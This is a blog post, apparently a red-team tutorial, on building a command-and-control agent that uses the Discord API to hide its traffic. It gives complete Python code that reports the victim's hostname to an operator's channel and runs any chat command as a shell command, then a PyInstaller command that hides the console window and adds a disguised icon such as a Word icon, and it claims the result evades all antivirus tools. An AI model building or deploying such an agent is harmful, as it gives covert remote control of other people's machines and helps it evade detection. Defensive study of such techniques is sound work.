Malware

Command-and-Control (C2) using Discord & Python | Why it’s so effective

Using discord to obfuscate C2 traffic and bypass firewalls/anti-virus

WSGSec

--

Photo by Alexander Shatov on Unsplash

Introduction

This Post will discuss the effectiveness of creating a small program and taking advantage of the API of legitimate applications to obfuscate C2 and malware traffic for Red Team Operations. In this write-up we will be taking advantage of Python and the Discord API to do so, but this method can be used for other API’s including Slack, GitHub and Twitter as well as many others. We will create a bot in Discord and use it to connect a python script on a client back to the discord server of our choosing and run shell commands through the message feature. We will also compile this into an executable so it can be run without needing a python interpreter.

The Discord API

The Discord API is used to create Discord bots for the servers that people use there. These can be used for many things such as sending automated notifications from other sources into a specific channel inside of a server of your choice. They use webhooks to do certain actions that the bot developer specifies using a permission system (docs here). Bots can also be written in many programming languages such as Python, Golang and Rust and others (https://discord.com/developers/docs/topics/community-resources).

There are multiple libraries that can be used in python with discord but here we will be using one called discord.py .

Why is it effective ?

Since COVID-19 and remote-working has became popular, most companies have turned to using apps such as Slack Discord and Microsoft Teams for the purpose of communication. This method takes advantage of this as if a company is using discord for example, it will be extremely hard to detect for almost all security tools such as AV, IDS/IPS and EDR as this will blend in with normal traffic and make it difficult to create IOCs for it even if it gets detected in the future. The same can be said for the likes of a Slack agent.

The network traffic from the Discord C2 agent will also be encrypted through HTTPS by default, therefore will also not be easily spotted if a member of a SOC team was to do some packet inspection in a tool such as Wireshark.

There will also be no IP or domain names contained inside of the agent if it was to reverse engineered, only API keys, channel and user IDs. Not to mention it’s free to set up a bot and use the API.

There is also many other things we could do to help with OPSEC including obfuscation using a tool such as Pyarmor, or even encrypting the API key.

Creating the Bot

  • Select the application you created and the click Bot on the menu on the right and select “add bot”:
  • Reset the API token and take note of it (you can only view once)
  • Next we will need to turn on all intents and give our bit the “administrator” permission:

Adding the bot to the server

  • Next go to OAuth2 on the menu on the right > URL Generator and select the “bot” scope check-mark and the the “administrator” bot permission:
  • Now we can copy the URL generated at the bottom of this page into our browser, and it allow us to choose a server to add the bot to:

Now it’s time to take a look at the code.

The Python Code

This is the script in it’s entirety:

import discord
import subprocess
import socket

TOKEN = 'ADD BOT TOKEN HERE'
client = discord.Client(intents=discord.Intents.all())
hostname = socket.gethostname()

async def send_message(message):
channel = client.get_channel(CHANNEL_ID_HERE)
await channel.send(message)

@client.event
async def on_ready():
notify_server = f"New connection established from {hostname}"
await send_message(notify_server)

@client.event
async def on_message(message):
if message.content.startswith('!'):
command = message.content[1:]
try:
output = subprocess.check_output(command, shell=True).decode('utf-8')
except subprocess.CalledProcessError as e:
output = e.output.decode('utf-8')
await message.channel.send(output)

client.run(TOKEN)

Line by line explanation

import discord
import socket
import subprocess

These modules will provide the necessary functionality to interact with the Discord API, run shell commands, and get the current hostname of the machine running the script.

TOKEN = 'ADD BOT TOKEN HERE'
client = discord.Client(intents=discord.Intents.all())
hostname = socket.gethostname()

This line creates a `TOKEN` variable of the discord API token supplied by you. It will then create an instance of the discord.client class which allows the code to interact with the API. The intents argument is set to discord.Intents.all(), which means the bot will have access to all of the available events and permissions. socket.gethostname() will get the current machine’s hostname and add it to a variable.

async def send_message(message):     
channel = client.get_channel(your_channel_id)
await channel.send(message)

This is a function that sends a message to a specific channel in the Discord server. The channel variable is set using client.get_channel(), which takes a CHANNEL_ID_HERE argument that should be replaced with the actual ID of the channel where you want to send the message.

@client.event
async def on_ready():
notify_server = f"New connection established from {hostname}"
await send_message(notify_server)

This function is triggered when the bot successfully connects back to the API. it will then send a message to the specified channel using the send_message() function defined earlier. The notify_server message includes the hostname of the machine that has connected back to the server into the channel we specified earlier.

@client.event 
async def on_message(message):
if message.content.startswith('!'):

command = message.content[1:]
try:
output = subprocess.check_output(command, shell=True).decode('utf-8')
except subprocess.CalledProcessError as e:
output = e.output.decode('utf-8')
await message.channel.send(output)

This is a function that is triggered every time a message is sent in any channel where the bot is present. It checks if the message starts with an exclamation point (!), indicating that the message is a command for the bot to execute. If it is a command, the bot will run the command using subprocess.check_output(), which executes the command in a shell and returns the output. The output is then sent back to the same channel where the command was received using message.channel.send().

client.run(TOKEN)

This will start the agent and connect it back to the discord server using the specified API token.

Compiling the code

I decided to use pyinstaller to compile our script to an executable, but any could be used here, each with pros & cons including Nuitka and py2exe, and others.

The command I used to compile is as follows (on windows but works also on linux, MacOS):

python -m PyInstaller -F -s .\main.py --nowindowed --noconsole -i favicon.ico

In this command we will use the pyinstaller module from python. The -F argument will specify that this should be compiled into a single executable. -s will strip debugging symbols which is good practice for anti-analysis. --nowindowed --noconsole will make sure no terminal window will open up when the executable runs and -1 favicon.ico will add a custom icon to make it look more legit (such as a microsoft word icon).

What it looks like when ran on a victim machine:

Detections

Currently the executable will bypass all AVs in Antiscan, including Windows Defender :

It also has a relatively small file size of around 7MB.

Disadvantages

There are some problems with using something like this:

  • If we used this on a professional engagement, confidentiality of the company you are testing may come into question since discord logs all messages and files.
  • The API key may be exposed if someone was to reverse engineer the executable.

Conclusion

This post shows how easily (and quickly) a skilled red teamer can set up simple custom malware that can go fully undetected inside of a company. As mentioned before, this method can be applied to many other common applications seen inside businesses. There are of course whole criminal enterprises that use discord for malware hosting and command-and-control that have been reported on for the last few years.

This really shows how effective and hard to detect using “Living off the land” techniques can be inside of an enterprise.

In the future I hope to build this small script out as part of a personal project and see what it can do, as well as build a similar tool for other apps such as Slack or GitHub.

--

--